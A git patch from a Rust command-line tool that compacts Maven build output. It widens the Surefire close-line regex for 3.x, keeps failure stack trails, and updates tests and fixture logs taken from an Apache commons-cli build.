plugin.exists(), - "dry-run uninstall must not remove the Pi extension" - ); - }); - } - - #[test] - fn test_pi_local_uninstall_dry_run_keeps_plugin() { - let tmp = TempDir::new().unwrap(); - let _cwd_guard = CWD_LOCK.lock().unwrap_or_else(|e| e.into_inner()); - let cwd = std::env::current_dir().unwrap(); - std::env::set_current_dir(tmp.path()).unwrap(); - - run_pi_mode(false, InitContext::default()).unwrap(); - let plugin = tmp - .path() - .join(".pi") - .join(PI_EXTENSIONS_SUBDIR) - .join(PI_PLUGIN_FILE); - assert!( - plugin.exists(), - "plugin must exist before uninstall dry-run" - ); - - let result = uninstall( - false, - false, - false, - false, - true, - InitContext { - verbose: 0, - dry_run: true, - }, - ); - std::env::set_current_dir(&cwd).unwrap(); - result.unwrap(); - - assert!( - plugin.exists(), - "dry-run uninstall must not remove the local Pi extension" - ); - - - fn test_claude_md_mode_refuses_malformed_block() { - // Mirrors `test_copilot_init_refuses_malformed_block`: a malformed - // CLAUDE.md previously emitted a warning and exited 0, silently - // skipping the OpenCode plugin step. The shared `write_rtk_block` - // dispatcher now bails for both paths. - let tmp = TempDir::new().unwrap(); - with_claude_dir_override(&tmp, |claude_dir| { - let claude_md = claude_dir.join(CLAUDE_MD); - let malformed = format!( - "# Existing notes\n\n{}\nincomplete RTK block\n", - RTK_BLOCK_START - ); - fs::write(&claude_md, &malformed).unwrap(); - - let result = run_claude_md_mode(true, false, InitContext::default()); - - assert!( - result.is_err(), - "Malformed CLAUDE.md must cause a hard error, not silent skip" - ); - - let after = fs::read_to_string(&claude_md).unwrap(); - assert_eq!(after, malformed, "File must not be modified when malformed"); - }); - } } From cc152cd2ac9bfd5085b1b178a78088c11a37b0ae Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Thu, 21 May 2026 12:35:45 -0300 Subject: [PATCH 120/257] fix(mvn): match Surefire 3.x close lines, preserve failure stack trail MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit CLOSE regex previously required ` - in ` (single-dash, Surefire 2.x). Surefire 3.x emits ` -- in ` (double-dash), so close lines never matched on Maven 3.9 default toolchains: blocks stayed open, every new `[INFO] Running …` flushed the prior block as kept, and real-world savings dropped to ~27% on commons-cli. Changes: - CLOSE separator widened to `\s+--?\s+in ` (matches 2.x and 3.x). - CLOSE prefix widened to `INFO|ERROR|WARNING` (3.x emits WARNING for classes whose only tests are skipped). - `filter_surefire` and `filter_package` gain a `failure_trail` flag: Surefire 3.x emits the exception class and stack frames *after* the CLOSE line; keep them (stripping framework frames) until the next blank line. Without this, the failing-test signal was silently dropped. Fixtures replaced with output from a real `apache/commons-cli` build in `maven:3.9-eclipse-temurin-21`. Synthetic 2.x shape removed; 2.x compat locked by a dedicated unit test using the single-dash separator. Measured token savings on commons-cli fixtures: - `mvn test` (full): 1896 -> 38 tokens (98.0%) - `mvn install` (full): 2021 -> 78 tokens (96.1%) Refs: pszymkowiak review on PR #1956 --- src/cmds/jvm/mvn_cmd.rs | 146 ++++++++++++++++-- .../fixtures/mvn_compile_error_slice_raw.txt | 30 ++-- tests/fixtures/mvn_install_full_raw.txt.gz | Bin 3456 -> 3257 bytes tests/fixtures/mvn_install_slice_raw.txt | 55 ++++--- tests/fixtures/mvn_test_fail_slice_raw.txt | 49 +++--- tests/fixtures/mvn_test_pass_full_raw.txt.gz | Bin 2978 -> 2898 bytes tests/fixtures/mvn_test_pass_slice_raw.txt | 46 ++---- 7 files changed, 226 insertions(+), 100 deletions(-) diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index 0cadc370f0..a12358268e 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -22,9 +22,11 @@ lazy_static! { static ref RUNNING: Regex = Regex::new(r"^\[INFO\] Running ").unwrap(); /// Surefire/Failsafe per-class close line. Captures `Failures` and `Errors`. - /// Tolerates the optional `<<< FAILURE!` marker between duration and ` - in `. + /// Tolerates the optional `<<< FAILURE!` marker. Separator is `-` (Surefire 2.x) + /// or `--` (Surefire 3.x). Prefix INFO/ERROR/WARNING (3.x emits WARNING for + /// classes with only skipped tests). static ref CLOSE: Regex = Regex::new( - r"^\[(?:INFO|ERROR)\] Tests run: \d+, Failures: (\d+), Errors: (\d+), Skipped: \d+, Time elapsed: [^ ]+ s(?:\s+<<<\s*FAILURE!)? - in (.+)$" + r"^\[(?:INFO|ERROR|WARNING)\] Tests run: \d+, Failures: (\d+), Errors: (\d+), Skipped: \d+, Time elapsed: [^ ]+ s(?:\s+<<<\s*FAILURE!)?\s+--?\s+in (.+)$" ).unwrap(); /// Final BUILD footer. @@ -151,7 +153,10 @@ fn keep_outside_block(line: &str) -> bool { /// State machine: when a `[INFO] Running ` line is seen, start buffering /// the block. When the close line arrives, decide: /// - Failures == 0 && Errors == 0 → drop the block silently. -/// - Else → emit the block with framework frames stripped, durations normalised. +/// - Else → emit the block with framework frames stripped, durations normalised, +/// then enter a failure-trail mode that preserves the exception line and +/// user-code frames Surefire 3.x emits *after* the close line (until the +/// next blank line ends the trail). /// /// English-footer guard: if no `BUILD SUCCESS`/`BUILD FAILURE` line is present, /// return the ANSI-stripped raw input (non-English locale or truncated output). @@ -165,6 +170,7 @@ pub fn filter_surefire(raw: &str) -> String { let mut block_lines: Vec = Vec::new(); let mut block_running: Option = None; let mut in_block = false; + let mut failure_trail = false; for line in stripped.lines() { if PLUGIN_BANNER.is_match(line) { @@ -178,6 +184,7 @@ pub fn filter_surefire(raw: &str) -> String { block_lines.clear(); block_running = Some(line.to_string()); in_block = true; + failure_trail = false; continue; } @@ -189,6 +196,7 @@ pub fn filter_surefire(raw: &str) -> String { emit_block(&mut out, &block_running, &block_lines); out.push_str(&normalise(line)); out.push('\n'); + failure_trail = true; } block_lines.clear(); block_running = None; @@ -199,6 +207,21 @@ pub fn filter_surefire(raw: &str) -> String { continue; } + if failure_trail { + if line.is_empty() { + out.push('\n'); + failure_trail = false; + continue; + } + let t = line.trim_start(); + if t.starts_with("at ") && is_framework_frame(t) { + continue; + } + out.push_str(line); + out.push('\n'); + continue; + } + if keep_outside_block(line) { out.push_str(&normalise(line)); out.push('\n'); @@ -321,6 +344,7 @@ pub fn filter_package(raw: &str) -> String { let mut block_running: Option = None; let mut in_block = false; let mut keep_continuation = false; + let mut failure_trail = false; let mut seen_warnings: HashSet = HashSet::new(); for line in stripped.lines() { @@ -336,6 +360,7 @@ pub fn filter_package(raw: &str) -> String { block_running = Some(line.to_string()); in_block = true; keep_continuation = false; + failure_trail = false; continue; } @@ -347,6 +372,7 @@ pub fn filter_package(raw: &str) -> String { emit_block(&mut out, &block_running, &block_lines); out.push_str(&normalise(line)); out.push('\n'); + failure_trail = true; } block_lines.clear(); block_running = None; @@ -357,6 +383,21 @@ pub fn filter_package(raw: &str) -> String { continue; } + if failure_trail { + if line.is_empty() { + out.push('\n'); + failure_trail = false; + continue; + } + let t = line.trim_start(); + if t.starts_with("at ") && is_framework_frame(t) { + continue; + } + out.push_str(line); + out.push('\n'); + continue; + } + // Outside any Surefire block: compile-keep AND surefire-outside-keep merge. if MODULE_BANNER.is_match(line) || keep_outside_block(line) { out.push_str(&normalise(line)); @@ -581,14 +622,13 @@ mod tests { fn filter_surefire_pass_output_compact() { let i = include_str!("../../../tests/fixtures/mvn_test_pass_slice_raw.txt"); let o = filter_surefire(i); - // Passing fixture has 2 blocks; both should be dropped. - assert!(!o.contains("FooService.execute")); - assert!(!o.contains("ConsultarCidadeUseCaseTest")); - // Output should be a small fraction of input. + // Passing fixture has 5 close lines; all should be dropped (no per-class line in output). + assert!(!o.contains("Running org.apache.commons.cli.help.UtilTest")); + assert!(!o.contains("Time elapsed: 1.023 s -- in")); let savings = 100.0 - (count_tokens(&o) as f64 / count_tokens(i) as f64 * 100.0); assert!( - savings >= 60.0, - "pass-fixture savings >=60%, got {:.1}%", + savings >= 50.0, + "pass-fixture savings >=50%, got {:.1}%", savings ); } @@ -611,8 +651,8 @@ mod tests { o ); assert!( - !o.contains("AppException: input must not be null"), - "passing-test stack dropped; got:\n{}", + !o.contains("Running org.apache.commons.cli.ConverterTests"), + "passing-test Running line dropped; got:\n{}", o ); assert!( @@ -621,7 +661,7 @@ mod tests { o ); assert!( - o.contains("Tests run: 10, Failures: 0"), + o.contains("Tests run: 977, Failures: 0"), "aggregate preserved; got:\n{}", o ); @@ -642,7 +682,7 @@ mod tests { o ); assert!( - o.contains("at com.example."), + o.contains("at org.apache.commons.cli.RtkInducedFailTest.rtkInducedFailure"), "user-code frame preserved; got:\n{}", o ); @@ -653,6 +693,62 @@ mod tests { ); } + /// 2.x compat: CLOSE regex must still match the single-dash separator emitted + /// by Surefire 2.x. Locks the `--?` regex against accidental tightening. + #[test] + fn surefire_matches_legacy_2x_close_line() { + let i = "[INFO] -----< x >-----\n[INFO] Running x.Foo\n[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.123 s - in x.Foo\n[INFO] BUILD SUCCESS\n"; + let o = filter_surefire(i); + // CLOSE matched → passing block dropped silently. + assert!( + !o.contains("Running x.Foo"), + "2.x ` - in ` close-line matched; passing block dropped; got:\n{}", + o + ); + assert!( + o.contains("BUILD SUCCESS"), + "footer preserved; got:\n{}", + o + ); + } + + /// 3.x WARNING-prefixed close line (class with only skipped tests) must + /// match CLOSE so the block is dropped (no failures, no errors). + #[test] + fn surefire_matches_warning_skipped_close_line() { + let i = "[INFO] -----< x >-----\n[INFO] Running x.Skip\n[WARNING] Tests run: 5, Failures: 0, Errors: 0, Skipped: 5, Time elapsed: 0.010 s -- in x.Skip\n[INFO] BUILD SUCCESS\n"; + let o = filter_surefire(i); + assert!( + !o.contains("Running x.Skip"), + "[WARNING] close-line matched; block dropped; got:\n{}", + o + ); + } + + /// 3.x failure-trail: after a CLOSE with `<<< FAILURE!`, the exception + /// class and user-code frames Surefire emits *outside* the block must be + /// preserved until the next blank line. + #[test] + fn surefire_preserves_3x_failure_trail() { + let i = "[INFO] -----< x >-----\n\ + [INFO] Running x.Foo\n\ + [ERROR] Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 0.033 s <<< FAILURE! -- in x.Foo\n\ + [ERROR] x.Foo.bar -- Time elapsed: 0.025 s <<< FAILURE!\n\ + org.opentest4j.AssertionFailedError: expected: but was: \n\ + \tat x.Foo.bar(Foo.java:25)\n\ + \tat org.junit.jupiter.api.Assertions.assertEquals(Assertions.java:1)\n\ + \n\ + [INFO] BUILD FAILURE\n"; + let o = filter_surefire(i); + assert!(o.contains("AssertionFailedError"), "exception preserved; got:\n{}", o); + assert!(o.contains("at x.Foo.bar"), "user frame preserved; got:\n{}", o); + assert!( + !o.contains("at org.junit."), + "framework frame stripped in trail; got:\n{}", + o + ); + } + #[test] fn surefire_keeps_module_banner() { let i = "[INFO] Scanning for projects...\n[INFO] -----< com.example:myapp >-----\n[INFO] BUILD SUCCESS\n"; @@ -776,6 +872,30 @@ mod tests { // ── Token-savings (FULL gzipped fixtures) ─────────────────────────────── + #[test] + #[ignore] + fn print_savings_summary() { + let pf = gunzip(include_bytes!("../../../tests/fixtures/mvn_test_pass_full_raw.txt.gz")); + let pf_out = filter_surefire(&pf); + let pf_in_tok = count_tokens(&pf); + let pf_out_tok = count_tokens(&pf_out); + let pf_s = 100.0 - (pf_out_tok as f64 / pf_in_tok as f64 * 100.0); + println!( + "mvn_test_pass_full: {} -> {} tokens ({:.1}% savings)", + pf_in_tok, pf_out_tok, pf_s + ); + + let inst = gunzip(include_bytes!("../../../tests/fixtures/mvn_install_full_raw.txt.gz")); + let inst_out = filter_package(&inst); + let inst_in_tok = count_tokens(&inst); + let inst_out_tok = count_tokens(&inst_out); + let inst_s = 100.0 - (inst_out_tok as f64 / inst_in_tok as f64 * 100.0); + println!( + "mvn_install_full: {} -> {} tokens ({:.1}% savings)", + inst_in_tok, inst_out_tok, inst_s + ); + } + #[test] fn savings_mvn_test_pass_full() { let bytes = include_bytes!("../../../tests/fixtures/mvn_test_pass_full_raw.txt.gz"); diff --git a/tests/fixtures/mvn_compile_error_slice_raw.txt b/tests/fixtures/mvn_compile_error_slice_raw.txt index 73119425fe..bffb7bb9ff 100644 --- a/tests/fixtures/mvn_compile_error_slice_raw.txt +++ b/tests/fixtures/mvn_compile_error_slice_raw.txt @@ -1,25 +1,33 @@ [INFO] Scanning for projects... [INFO] -[INFO] -----------------------< com.example:myapp >------------------------ -[INFO] Building myapp 1.0.0 +[INFO] ----------------------< commons-cli:commons-cli >----------------------- +[INFO] Building Apache Commons CLI 1.11.1-SNAPSHOT [INFO] from pom.xml [INFO] --------------------------------[ jar ]--------------------------------- [INFO] -[INFO] --- compiler:3.8.1:compile (default-compile) @ myapp --- -[INFO] Changes detected - recompiling the module! -[INFO] Compiling 12 source files to /path/to/project/target/classes +[INFO] --- compiler:3.15.0:compile (default-compile) @ commons-cli --- +[INFO] Recompiling the module because of changed source code. +[INFO] Compiling 37 source files with javac [debug release 8] to target/classes +[INFO] ------------------------------------------------------------- +[WARNING] COMPILATION WARNING : +[INFO] ------------------------------------------------------------- +[WARNING] source value 8 is obsolete and will be removed in a future release +[WARNING] target value 8 is obsolete and will be removed in a future release +[WARNING] To suppress warnings about obsolete options, use -Xlint:-options. +[INFO] 3 warnings +[INFO] ------------------------------------------------------------- [INFO] ------------------------------------------------------------- [ERROR] COMPILATION ERROR : [INFO] ------------------------------------------------------------- -[ERROR] /path/to/project/src/main/java/com/example/app/Foo.java:[42,5] cannot find symbol +[ERROR] src/main/java/org/apache/commons/cli/CompileBreaker.java:[21,16] cannot find symbol symbol: variable bar - location: class Foo -[ERROR] /path/to/project/src/main/java/com/example/app/Bar.java:[10,5] ';' expected -[INFO] 2 errors + location: class org.apache.commons.cli.CompileBreaker +[INFO] 1 error [INFO] ------------------------------------------------------------- [INFO] ------------------------------------------------------------------------ [INFO] BUILD FAILURE [INFO] ------------------------------------------------------------------------ -[INFO] Total time: 4.567 s -[INFO] Finished at: 2026-01-15T10:30:00Z +[INFO] Total time: 30.631 s +[INFO] Finished at: 2026-05-21T14:59:46Z [INFO] ------------------------------------------------------------------------ +[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.15.0:compile (default-compile) on project commons-cli: Compilation failure diff --git a/tests/fixtures/mvn_install_full_raw.txt.gz b/tests/fixtures/mvn_install_full_raw.txt.gz index 97e62cccb632002de8bf4a416b33ac6f200ea3a2..eb894cfcfac2155c6bf284790636227f4ea233ee 100644 GIT binary patch literal 3257 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 literal 3456 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 diff --git a/tests/fixtures/mvn_install_slice_raw.txt b/tests/fixtures/mvn_install_slice_raw.txt index 539919bd2a..c4bb76cfdd 100644 --- a/tests/fixtures/mvn_install_slice_raw.txt +++ b/tests/fixtures/mvn_install_slice_raw.txt @@ -1,39 +1,44 @@ [INFO] Scanning for projects... [INFO] -[INFO] -----------------------< com.example:myapp >------------------------ -[INFO] Building myapp 1.0.0 +[INFO] ----------------------< commons-cli:commons-cli >----------------------- +[INFO] Building Apache Commons CLI 1.11.1-SNAPSHOT [INFO] from pom.xml [INFO] --------------------------------[ jar ]--------------------------------- [INFO] -[INFO] --- compiler:3.8.1:compile (default-compile) @ myapp --- -[INFO] Compiling 12 source files to /path/to/project/target/classes -[WARNING] /path/to/project/src/main/java/com/example/app/Foo.java: Some input files use or override a deprecated API. -[WARNING] /path/to/project/src/main/java/com/example/app/Bar.java: Some input files use unchecked or unsafe operations. -[INFO] -[INFO] --- surefire:2.22.2:test (default-test) @ myapp --- -[INFO] Running com.example.app.FooServiceTest -Jan 15, 2026 10:30:00 AM com.example.app.FooService execute -SEVERE: null -com.example.app.AppException: input must not be null - at com.example.app.FooService.execute(FooService.java:36) - at org.junit.jupiter.api.Assertions.assertThrows(Assertions.java:3007) - at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) - at java.util.ArrayList.forEach(ArrayList.java:1259) -[INFO] Tests run: 6, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 2.213 s - in com.example.app.FooServiceTest +[INFO] --- compiler:3.15.0:compile (default-compile) @ commons-cli --- +[INFO] Recompiling the module because of changed source code. +[INFO] Compiling 47 source files with javac [debug parameters release 11] to target/classes +[INFO] +[INFO] --- compiler:3.15.0:testCompile (default-testCompile) @ commons-cli --- +[INFO] Recompiling the module because of changed dependency. +[INFO] Compiling 52 source files with javac [debug parameters release 11] to target/test-classes +[INFO] +[INFO] --- surefire:3.5.5:test (default-test) @ commons-cli --- +[INFO] +[INFO] ------------------------------------------------------- +[INFO] T E S T S +[INFO] ------------------------------------------------------- +[INFO] Running org.apache.commons.cli.help.UtilTest +[INFO] Tests run: 34, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.023 s -- in org.apache.commons.cli.help.UtilTest +[INFO] Running org.apache.commons.cli.DefaultParserTest +[WARNING] Tests run: 87, Failures: 0, Errors: 0, Skipped: 2, Time elapsed: 1.023 s -- in org.apache.commons.cli.DefaultParserTest +[INFO] Running org.apache.commons.cli.AlreadySelectedExceptionTest +[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.014 s -- in org.apache.commons.cli.AlreadySelectedExceptionTest [INFO] [INFO] Results: [INFO] -[INFO] Tests run: 10, Failures: 0, Errors: 0, Skipped: 0 +[INFO] Tests run: 977, Failures: 0, Errors: 0, Skipped: 61 [INFO] -[INFO] --- jar:3.4.0:jar (default-jar) @ myapp --- -[INFO] Building jar: /path/to/project/target/myapp-1.0.0.jar +[INFO] --- jar:3.5.0:jar (default-jar) @ commons-cli --- +[INFO] Building jar: target/commons-cli-1.11.1-SNAPSHOT.jar [INFO] -[INFO] --- install:3.1.1:install (default-install) @ myapp --- -[INFO] Installing /path/to/project/target/myapp-1.0.0.jar to /home/user/.m2/repository/com/example/myapp/1.0.0/myapp-1.0.0.jar -[INFO] Installing /path/to/project/pom.xml to /home/user/.m2/repository/com/example/myapp/1.0.0/myapp-1.0.0.pom +[INFO] --- install:3.1.4:install (default-install) @ commons-cli --- +[INFO] Installing pom.xml to /root/.m2/repository/commons-cli/commons-cli/1.11.1-SNAPSHOT/commons-cli-1.11.1-SNAPSHOT.pom +[INFO] Installing target/commons-cli-1.11.1-SNAPSHOT.jar to 